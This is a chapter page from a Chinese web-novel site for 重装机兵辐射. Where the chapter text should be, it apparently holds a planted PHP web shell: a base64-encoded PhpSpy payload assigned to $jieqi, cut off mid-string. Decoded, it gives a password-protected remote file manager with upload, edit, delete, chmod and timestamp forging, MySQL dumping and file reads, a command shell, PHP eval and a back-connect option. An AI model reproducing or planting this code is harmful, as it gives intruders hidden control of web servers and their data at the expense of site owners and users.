加入书架 | 推荐本书 | 返回书页

专诺小说网 -> 玄幻魔法 -> 重装机兵辐射

正文 招聘!

上一页        返回目录        下一页

<?php
$jieqi='ZXJyb3JfcmVwb3J0aW5nKDcpOwovL0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7CiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07CmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7Ci8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOwpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7CmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7CiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOwovL2RlZmluZSgnSVNfUEhQSU5GTycsICghZXJlZ2koInBocGluZm8iLCRkaXNfZnVuYykpID8gMSA6IDAgKTsKQHNldF90aW1lX2xpbWl0KDApOwoKZm9yZWFjaChhcnJheSgnX0dFVCcsJ19QT1NUJykgYXMgJF9yZXF1ZXN0KSB7Cglmb3JlYWNoKCQkX3JlcXVlc3QgYXMgJF9rZXkgPT4gJF92YWx1ZSkgewoJCWlmICgkX2tleXswfSAhPSAnXycpIHsKCQkJaWYgKElTX0dQQykgewoJCQkJJF92YWx1ZSA9IHNfYXJyYXkoJF92YWx1ZSk7CgkJCX0KCQkJJCRfa2V5ID0gJF92YWx1ZTsKCQl9Cgl9Cn0KCgokYWRtaW4gPSBhcnJheSgpOwovLyAKJGFkbWluWydjaGVjayddID0gdHJ1ZTsKLy8gCiRhZG1pblsncGFzcyddICA9ICczYzc5OTUyYmVhOTAxMGJiNzAyZWQxNjQwOGQ2NzBkNic7Ci8vCgovLwovLwokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7Ci8vIAokYWRtaW5bJ2Nvb2tpZWRvbWFpbiddID0gJyc7Ci8vIAokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsKLy8gCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7CgoKaWYgKCRjaGFyc2V0ID09ICd1dGY4JykgewoJaGVhZGVyKCJjb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD11dGYtOCIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2JpZzUnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsKfSBlbHNlaWYgKCRjaGFyc2V0ID09ICdnYmsnKSB7CgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWdiayIpOwp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsKCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9aXNvLTg4NTktMiIpOwp9Cgokc2VsZiA9ICRfU0VSVkVSWydQSFBfU0VMRiddID8gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAkX1NFUlZFUlsnU0NSSVBUX05BTUUnXTsKJHRpbWVzdGFtcCA9IHRpbWUoKTsKCi8qPT09PT09PT09PT09PT09PT09PT09ICA9PT09PT09PT09PT09PT09PT09PT0qLwppZiAoJGFjdGlvbiA9PSAibG9nb3V0IikgewoJc2Nvb2tpZSgncGhwc3B5cGFzcycsICcnLCAtODY0MDAgKiAzNjUpOwoJcCgnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMTtVUkw9Jy4kc2VsZi4nIj4nKTsKCXAoJzxhIHN0eWxlPSJmb250OjEycHggVmVyZGFuYSIgaHJlZj0iJy4kc2VsZi4nIj5TdWNjZXNzPC9hPicpOwoJZXhpdDsKfQppZigkYWRtaW5bJ2NoZWNrJ10pIHsKCWlmICgkZG9pbmcgPT0gJ2xvZ2luJykgewoJCWlmICgkYWRtaW5bJ3Bhc3MnXSA9PSBtZDUoJHBhc3N3b3JkKSkgewoJCQlzY29va2llKCdwaHBzcHlwYXNzJywgbWQ1KCRwYXNzd29yZCkpOwoJCQlwKCc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIxO1VSTD0nLiRzZWxmLiciPicpOwoJCQlwKCc8YSBzdHlsZT0iZm9udDoxMnB4IFZlcmRhbmEiIGhyZWY9IicuJHNlbGYuJyI+U3VjY2VzczwvYT4nKTsKCQkJZXhpdDsKCQl9Cgl9CglpZiAoJF9DT09LSUVbJ3BocHNweXBhc3MnXSkgewoJCWlmICgkX0NPT0tJRVsncGhwc3B5cGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7CgkJCWxvZ2lucGFnZSgpOwoJCX0KCX0gZWxzZSB7CgkJbG9naW5wYWdlKCk7Cgl9Cn0KLyo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ki8KCiRlcnJtc2cgPSAnJzsKCi8vIOafpeeci1BIUElORk8KaWYgKCRhY3Rpb24gPT0gJ3BocGluZm8nKSB7CglpZiAoSVNfUEhQSU5GTykgewoJCXBocGluZm8oKTsKCQlleGl0OwoJfSBlbHNlIHsKCQkkZXJybXNnID0gJ3BocGluZm8oKSBmdW5jdGlvbiBoYXMgbm9uLXBlcm1pc3NpYmxlJzsKCX0KfQoKLy8gCmlmICgkZG9pbmcgPT0gJ2Rvd25maWxlJyAmJiAkdGhlZmlsZSkgewoJaWYgKCFAZmlsZV9leGlzdHMoJHRoZWZpbGUpKSB7CgkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCX0gZWxzZSB7CgkJJGZpbGVpbmZvID0gcGF0aGluZm8oJHRoZWZpbGUpOwoJCWhlYWRlcignQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi94LScuJGZpbGVpbmZvWydleHRlbnNpb24nXSk7CgkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7CgkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJy5maWxlc2l6ZSgkdGhlZmlsZSkpOwoJCUByZWFkZmlsZSgkdGhlZmlsZSk7CgkJZXhpdDsKCX0KfQoKLy8gCmlmICgkZG9pbmcgPT0gJ2JhY2t1cG15c3FsJyAmJiAhJHNhdmVhc2ZpbGUpIHsKCW15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCSR0YWJsZSA9IGFycmF5X2ZsaXAoJHRhYmxlKTsKCSRyZXN1bHQgPSBxKCJTSE9XIHRhYmxlcyIpOwoJaWYgKCEkcmVzdWx0KSBwKCc8aDI+Jy5teXNxbF9lcnJvcigpLic8L2gyPicpOwoJJGZpbGVuYW1lID0gYmFzZW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddLidfTXlTUUwuc3FsJyk7CgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOwoJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlbmFtZSk7CgkkbXlzcWxkYXRhID0gJyc7Cgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7CgkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsKCQkJJG15c3FsZGF0YSAuPSBzcWxkdW1wdGFibGUoJGN1cnJvd1swXSk7CgkJfQoJfQoJbXlzcWxfY2xvc2UoKTsKCWV4aXQ7Cn0KCi8vIAppZigkZG9pbmc9PSdteXNxbGRvd24nKXsKCWlmICghJGRibmFtZSkgewoJCSRlcnJtc2cgPSAnUGxlYXNlIGlucHV0IGRibmFtZSc7Cgl9IGVsc2UgewoJCW15ZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsKCQlpZiAoIWZpbGVfZXhpc3RzKCRteXNxbGRsZmlsZSkpIHsKCQkJJGVycm1zZyA9ICdUaGUgZmlsZSB5b3Ugd2FudCBEb3dubG9hZGFibGUgd2FzIG5vbmV4aXN0ZW50JzsKCQl9IGVsc2UgewoJCQkkcmVzdWx0ID0gcSgic2VsZWN0IGxvYWRfZmlsZSgnJG15c3FsZGxmaWxlJyk7Iik7CgkJCWlmKCEkcmVzdWx0KXsKCQkJCXEoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRtcF9hbmdlbDsiKTsKCQkJCXEoIkNSRUFURSBUQUJMRSB0bXBfYW5nZWwgKGNvbnRlbnQgTE9OR0JMT0IgTk9UIE5VTEwpOyIpOwoJCQkJLy/nlKjml7bpl7TmiLPmnaXooajnpLrmiKrmlq0s6YG/5YWN5Ye6546w6K+75Y+W6Ieq6Lqr5oiW5YyF5ZCrX19hbmdlbF8xMTExMTExMTExX2VvZl9f55qE5paH5Lu25pe25LiN5a6M5pW055qE5oOF5Ya1CgkJCQlxKCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFICciLmFkZHNsYXNoZXMoJG15c3FsZGxmaWxlKS4iJyBJTlRPIFRBQkxFIHRtcF9hbmdlbCBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnX19hbmdlbF97JHRpbWVzdGFtcH1fZW9mX18nOyIpOwoJCQkJJHJlc3VsdCA9IHEoInNlbGVjdCBjb250ZW50IGZyb20gdG1wX2FuZ2VsIik7CgkJCQlxKCJEUk9QIFRBQkxFIHRtcF9hbmdlbCIpOwoJCQl9CgkJCSRyb3cgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCk7CgkJCWlmICghJHJvdykgewoJCQkJJGVycm1zZyA9ICdMb2FkIGZpbGUgZmFpbGVkICcubXlzcWxfZXJyb3IoKTsKCQkJfSBlbHNlIHsKCQkJCSRmaWxlaW5mbyA9IHBhdGhpbmZvKCRteXNxbGRsZmlsZSk7CgkJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24veC0nLiRmaWxlaW5mb1snZXh0ZW5zaW9uJ10pOwoJCQkJaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0nLiRmaWxlaW5mb1snYmFzZW5hbWUnXSk7CgkJCQloZWFkZXIoIkFjY2VwdC1MZW5ndGg6ICIuc3RybGVuKCRyb3dbMF0pKTsKCQkJCWVjaG8gJHJvd1swXTsKCQkJCWV4aXQ7CgkJCX0KCQl9Cgl9Cn0KCj8+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIj4KPHRpdGxlPjw/cGhwIGVjaG8gc3RyX3JlcGxhY2UoJy4nLCcnLCdQLmgucC5TLnAueScpOz8+PC90aXRsZT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSx0ZHtmb250OiAxMnB4IEFyaWFsLFRhaG9tYTtsaW5lLWhlaWdodDogMTZweDt9Ci5pbnB1dHtmb250OjEycHggQXJpYWwsVGFob21hO2JhY2tncm91bmQ6I2ZmZjtib3JkZXI6IDFweCBzb2xpZCAjNjY2O3BhZGRpbmc6MnB4O2hlaWdodDoyMnB4O30KLmFyZWF7Zm9udDoxMnB4ICdDb3VyaWVyIE5ldycsIE1vbm9zcGFjZTtiYWNrZ3JvdW5kOiNmZmY7Ym9yZGVyOiAxcHggc29saWQgIzY2NjtwYWRkaW5nOjJweDt9Ci5idCB7Ym9yZGVyLWNvbG9yOiNiMGIwYjA7YmFja2dyb3VuZDojM2QzZDNkO2NvbG9yOiNmZmZmZmY7Zm9udDoxMnB4IEFyaWFsLFRhaG9tYTtoZWlnaHQ6MjJweDt9CmEge2NvbG9yOiAjMDBmO3RleHQtZGVjb3JhdGlvbjp1bmRlcmxpbmU7fQphOmhvdmVye2NvbG9yOiAjZjAwO3RleHQtZGVjb3JhdGlvbjpub25lO30KLmFsdDEgdGR7Ym9yZGVyLXRvcDoxcHggc29saWQgI2ZmZjtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkO2JhY2tncm91bmQ6I2YxZjFmMTtwYWRkaW5nOjVweCAxMHB4IDVweCA1cHg7fQouYWx0MiB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZjlmOWY5O3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5mb2N1cyB0ZHtib3JkZXItdG9wOjFweCBzb2xpZCAjZmZmO2JvcmRlci1ib3R0b206MXB4IHNvbGlkICNkZGQ7YmFja2dyb3VuZDojZmZmZmFhO3BhZGRpbmc6NXB4IDEwcHggNXB4IDVweDt9Ci5oZWFkIHRke2JvcmRlci10b3A6MXB4IHNvbGlkICNmZmY7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI2RkZDtiYWNrZ3JvdW5kOiNlOWU5ZTk7cGFkZGluZzo1cHggMTBweCA1cHggNXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQouaGVhZCB0ZCBzcGFue2ZvbnQtd2VpZ2h0Om5vcm1hbDt9CmZvcm17bWFyZ2luOjA7cGFkZGluZzowO30KaDJ7bWFyZ2luOjA7cGFkZGluZzowO2hlaWdodDoyNHB4O2xpbmUtaGVpZ2h0OjI0cHg7Zm9udC1zaXplOjE0cHg7Y29sb3I6IzVCNjg2Rjt9CnVsLmluZm8gbGl7bWFyZ2luOjA7Y29sb3I6IzQ0NDtsaW5lLWhlaWdodDoyNHB4O2hlaWdodDoyNHB4O30KdXt0ZXh0LWRlY29yYXRpb246IG5vbmU7Y29sb3I6Izc3NztmbG9hdDpsZWZ0O2Rpc3BsYXk6YmxvY2s7d2lkdGg6MTUwcHg7bWFyZ2luLXJpZ2h0OjEwcHg7fQo8L3N0eWxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIENoZWNrQWxsKGZvcm0pIHsKCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKSB7CgkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOwoJCWlmIChlLm5hbWUgIT0gJ2Noa2FsbCcpCgkJZS5jaGVja2VkID0gZm9ybS5jaGthbGwuY2hlY2tlZDsKICAgIH0KfQpmdW5jdGlvbiAkKGlkKSB7CglyZXR1cm4gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpOwp9CmZ1bmN0aW9uIGdvYWN0aW9uKGFjdCl7CgkkKCdnb2FjdGlvbicpLmFjdGlvbi52YWx1ZT1hY3Q7CgkkKCdnb2FjdGlvbicpLnN1Ym1pdCgpOwp9Cjwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5IHN0eWxlPSJtYXJnaW46MDt0YWJsZS1sYXlvdXQ6Zml4ZWQ7IHdvcmQtYnJlYWs6YnJlYWstYWxsIj4KPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cgk8dHIgY2xhc3M9ImhlYWQiPgoJCQoJPC90cj4KCTx0ciBjbGFzcz0iYWx0MSI+CgkJPHRkPjxzcGFuIHN0eWxlPSJmbG9hdDpyaWdodDsiPlNhZmUgTW9kZTo8P3BocCBlY2hvIGdldGNmZygnc2FmZV9tb2RlJyk7Pz48L3NwYW4+CgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2xvZ291dCcpOyI+TG9nb3V0PC9hPiB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdmaWxlJyk7Ij5GaWxlIE1hbmFnZXI8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ215c3FsYWRtaW4nKTsiPk1ZU1FMIE1hbmFnZXI8L2E+IHwgCgkJCSB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdzcWxmaWxlJyk7Ij5NeVNRTCBVcGxvYWQgJmFtcDsgRG93bmxvYWQ8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3NoZWxsJyk7Ij5jbWQ8L2E+IHwgCgkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ3BocGVudicpOyI+UEhQIFZhcmlhYmxlPC9hPiB8IAoJCQk8YSBocmVmPSJqYXZhc2NyaXB0OmdvYWN0aW9uKCdldmFsJyk7Ij5QSFAgQ29kZTwvYT4KCQkJPD9waHAgaWYgKCFJU19XSU4pIHs/PiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6Z29hY3Rpb24oJ2JhY2tjb25uZWN0Jyk7Ij5CYWNrIENvbm5lY3Q8L2E+PD9waHAgfT8+CgkJPC90ZD4KCTwvdHI+CjwvdGFibGU+Cjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMTUiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkPgo8P3BocAoKZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ29hY3Rpb24nKSk7Cm1ha2VoaWRlKCdhY3Rpb24nKTsKZm9ybWZvb3QoKTsKCiRlcnJtc2cgJiYgbSgkZXJybXNnKTsKCi8vIAohJGRpciAmJiAkZGlyID0gJy4nOwokbm93cGF0aCA9IGdldFBhdGgoU0FfUk9PVCwgJGRpcik7CmlmIChzdWJzdHIoJGRpciwgLTEpICE9ICcvJykgewoJJGRpciA9ICRkaXIuJy8nOwp9CiR1ZWRpciA9IHVlKCRkaXIpOwoKaWYgKCEkYWN0aW9uIHx8ICRhY3Rpb24gPT0gJ2ZpbGUnKSB7CgoJLy8gCgkkZGlyX3dyaXRlYWJsZSA9IEBpc193cml0YWJsZSgkbm93cGF0aCkgPyAnV3JpdGFibGUnIDogJ05vbi13cml0YWJsZSc7CgoJLy8gCglpZiAoJGRvaW5nID09ICdkZWxkaXInICYmICR0aGVmaWxlKSB7CgkJaWYgKCFmaWxlX2V4aXN0cygkdGhlZmlsZSkpIHsKCQkJbSgkdGhlZmlsZS4nIGRpcmVjdG9yeSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oJ0RpcmVjdG9yeSBkZWxldGUgJy4oZGVsdHJlZSgkdGhlZmlsZSkgPyBiYXNlbmFtZSgkdGhlZmlsZSkuJyBzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIAoJZWxzZWlmICgkbmV3ZGlybmFtZSkgewoJCSRta2RpcnMgPSAkbm93cGF0aC4kbmV3ZGlybmFtZTsKCQlpZiAoZmlsZV9leGlzdHMoJG1rZGlycykpIHsKCQkJbSgnRGlyZWN0b3J5IGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsKCQl9IGVsc2UgewoJCQltKCdEaXJlY3RvcnkgY3JlYXRlZCAnLihAbWtkaXIoJG1rZGlycywwNzc3KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJCUBjaG1vZCgkbWtkaXJzLDA3NzcpOwoJCX0KCX0KCgkvLyDkuIrkvKDmlofku7YKCWVsc2VpZiAoJGRvdXBmaWxlKSB7CgkJbSgnRmlsZSB1cGxvYWQgJy4oQGNvcHkoJF9GSUxFU1sndXBsb2FkZmlsZSddWyd0bXBfbmFtZSddLCR1cGxvYWRkaXIuJy8nLiRfRklMRVNbJ3VwbG9hZGZpbGUnXVsnbmFtZSddKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7Cgl9CgoJLy8g57yW6L6R5paH5Lu2CgllbHNlaWYgKCRlZGl0ZmlsZW5hbWUgJiYgJGZpbGVjb250ZW50KSB7CgkJJGZwID0gQGZvcGVuKCRlZGl0ZmlsZW5hbWUsJ3cnKTsKCQltKCdTYXZlIGZpbGUgJy4oQGZ3cml0ZSgkZnAsJGZpbGVjb250ZW50KSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJQGZjbG9zZSgkZnApOwoJfQoKCS8vIOe8lui+keaWh+S7tuWxnuaApwoJZWxzZWlmICgkcGZpbGUgJiYgJG5ld3Blcm0pIHsKCQlpZiAoIWZpbGVfZXhpc3RzKCRwZmlsZSkpIHsKCQkJbSgnVGhlIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkbmV3cGVybSA9IGJhc2VfY29udmVydCgkbmV3cGVybSw4LDEwKTsKCQkJbSgnTW9kaWZ5IGZpbGUgYXR0cmlidXRlcyAnLihAY2htb2QoJHBmaWxlLCRuZXdwZXJtKSA/ICdzdWNjZXNzJyA6ICdmYWlsZWQnKSk7CgkJfQoJfQoKCS8vIOaUueWQjQoJZWxzZWlmICgkb2xkbmFtZSAmJiAkbmV3ZmlsZW5hbWUpIHsKCQkkbm5hbWUgPSAkbm93cGF0aC4kbmV3ZmlsZW5hbWU7CgkJaWYgKGZpbGVfZXhpc3RzKCRubmFtZSkgfHwgIWZpbGVfZXhpc3RzKCRvbGRuYW1lKSkgewoJCQltKCRubmFtZS4nIGhhcyBhbHJlYWR5IGV4aXN0ZWQgb3Igb3JpZ2luYWwgZmlsZSBkb2VzIG5vdCBleGlzdCcpOwoJCX0gZWxzZSB7CgkJCW0oYmFzZW5hbWUoJG9sZG5hbWUpLicgcmVuYW1lZCAnLmJhc2VuYW1lKCRubmFtZSkuKEByZW5hbWUoJG9sZG5hbWUsJG5uYW1lKSA/ICcgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyDlpI3liLbmlofku7YKCWVsc2VpZiAoJHNuYW1lICYmICR0b2ZpbGUpIHsKCQlpZiAoZmlsZV9leGlzdHMoJHRvZmlsZSkgfHwgIWZpbGVfZXhpc3RzKCRzbmFtZSkpIHsKCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQltKGJhc2VuYW1lKCR0b2ZpbGUpLicgY29waWVkICcuKEBjb3B5KCRzbmFtZSwkdG9maWxlKSA/IGJhc2VuYW1lKCR0b2ZpbGUpLicgc3VjY2VzcycgOiAnZmFpbGVkJykpOwoJCX0KCX0KCgkvLyDlhYvpmobml7bpl7QKCWVsc2VpZiAoJGN1cmZpbGUgJiYgJHRhcmZpbGUpIHsKCQlpZiAoIUBmaWxlX2V4aXN0cygkY3VyZmlsZSkgfHwgIUBmaWxlX2V4aXN0cygkdGFyZmlsZSkpIHsKCQkJbSgnVGhlIGdvYWwgZmlsZSBoYXMgYWxyZWFkeSBleGlzdGVkIG9yIG9yaWdpbmFsIGZpbGUgZG9lcyBub3QgZXhpc3QnKTsKCQl9IGVsc2UgewoJCQkkdGltZSA9IEBmaWxlbXRpbWUoJHRhcmZpbGUpOwoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8g6Ieq5a6a5LmJ5pe26Ze0CgllbHNlaWYgKCRjdXJmaWxlICYmICR5ZWFyICYmICRtb250aCAmJiAkZGF5ICYmICRob3VyICYmICRtaW51dGUgJiYgJHNlY29uZCkgewoJCWlmICghQGZpbGVfZXhpc3RzKCRjdXJmaWxlKSkgewoJCQltKGJhc2VuYW1lKCRjdXJmaWxlKS4nIGRvZXMgbm90IGV4aXN0Jyk7CgkJfSBlbHNlIHsKCQkJJHRpbWUgPSBzdHJ0b3RpbWUoIiR5ZWFyLSRtb250aC0kZGF5ICRob3VyOiRtaW51dGU6JHNlY29uZCIpOwoJCQltKCdNb2RpZnkgZmlsZSB0aGUgbGFzdCBtb2RpZmllZCAnLihAdG91Y2goJGN1cmZpbGUsJHRpbWUsJHRpbWUpID8gJ3N1Y2Nlc3MnIDogJ2ZhaWxlZCcpKTsKCQl9Cgl9CgoJLy8g5omT5YyF5LiL6L29CgllbHNlaWYoJGRvaW5nID09ICdkb3ducmFyJykgewoJCWlmICgkZGwpIHsKCQkJJGRmaWxlcz0nJzsKCQkJZm9yZWFjaCAoJGRsIGFzICRmaWxlcGF0aCA9PiAkdmFsdWUpIHsKCQkJCSRkZmlsZXMuPSRmaWxlcGF0aC4nLCc7CgkJCX0KCQkJJGRmaWxlcz1zdWJzdHIoJGRmaWxlcywwLHN0cmxlbigkZGZpbGVzKS0xKTsKCQkJJGRsPWV4cGxvZGUoJywnLCRkZmlsZXMpOwoJCQkkemlwPW5ldyBQSFBaaXAoJGRsKTsKCQkJJGNvZGU9JHppcC0+b3V0OwoJCQloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7CgkJCWhlYWRlcignQWNjZXB0LVJhbmdlczogYnl0ZXMnKTsKCQkJaGVhZGVyKCdBY2NlcHQtTGVuZ3RoOiAnLnN0cmxlbigkY29kZSkpOwoJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7ZmlsZW5hbWU9Jy4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uJ19GaWxlcy50YXIuZ3onKTsKCQkJZWNobyAkY29kZTsKCQkJZXhpdDsKCQl9IGVsc2UgewoJCQltKCdQbGVhc2Ugc2VsZWN0IGZpbGUocyknKTsKCQl9Cgl9CgoJLy8g5om56YeP5Yig6Zmk5paH5Lu2CgllbHNlaWYoJGRvaW5nID09ICdkZWxmaWxlcycpIHsKCQlpZiAoJGRsKSB7CgkJCSRkZmlsZXM9Jyc7CgkJCSRzdWNjID0gJGZhaWwgPSAwOwoJCQlmb3JlYWNoICgkZGwgYXMgJGZpbGVwYXRoID0+ICR2YWx1ZSkgewoJCQkJaWYgKEB1bmxpbmsoJGZpbGVwYXRoKSkgewoJCQkJCSRzdWNjKys7CgkJCQl9IGVsc2UgewoJCQkJCSRmYWlsKys7CgkJCQl9CgkJCX0KCQkJbSgnRGVsZXRlZCBmaWxlIGhhdmUgZmluaXNoZWQsY2hvb3NlICcuY291bnQoJGRsKS4nIHN1Y2Nlc3MgJy4kc3VjYy4nIGZhaWwgJy4kZmFpbCk7CgkJfSBlbHNlIHsKCQkJbSgnUGxlYXNlIHNlbGVjdCBmaWxlKHMpJyk7CgkJfQoJfQoKCS8v5pON5L2c5a6M5q+VCglmb3JtaGVhZChhcnJheSgnbmFtZSc9PidjcmVhdGVkaXInKSk7CgltYWtlaGlkZSgnbmV3ZGlybmFtZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVwZXJtJykpOwoJbWFrZWhpZGUoJ25ld3Blcm0nKTsKCW1ha2VoaWRlKCdwZmlsZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2NvcHlmaWxlJykpOwoJbWFrZWhpZGUoJ3NuYW1lJyk7CgltYWtlaGlkZSgndG9maWxlJyk7CgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVuYW1lJykpOwoJbWFrZWhpZGUoJ29sZG5hbWUnKTsKCW1ha2VoaWRlKCduZXdmaWxlbmFtZScpOwoJbWFrZWhpZGUoJ2RpcicsJG5vd3BhdGgpOwoJZm9ybWZvb3QoKTsKCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J2ZpbGVvcGZvcm0nKSk7CgltYWtlaGlkZSgnYWN0aW9uJyk7CgltYWtlaGlkZSgnb3BmaWxlJyk7CgltYWtlaGlkZSgnZGlyJyk7Cglmb3JtZm9vdCgpOwoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nZ2V0c2l6ZScpKTsKCW1ha2VoaWRlKCdnZXRkaXInKTsKCW1ha2VoaWRlKCdkaXInKTsKCWZvcm1mb290KCk7CgoJJGZyZWUgPSBAZGlza19mcmVlX3NwYWNlKCRub3dwYXRoKTsKCSEkZnJlZSAmJiAkZnJlZSA9IDA7CgkkYWxsID0gQGRpc2tfdG90YWxfc3BhY2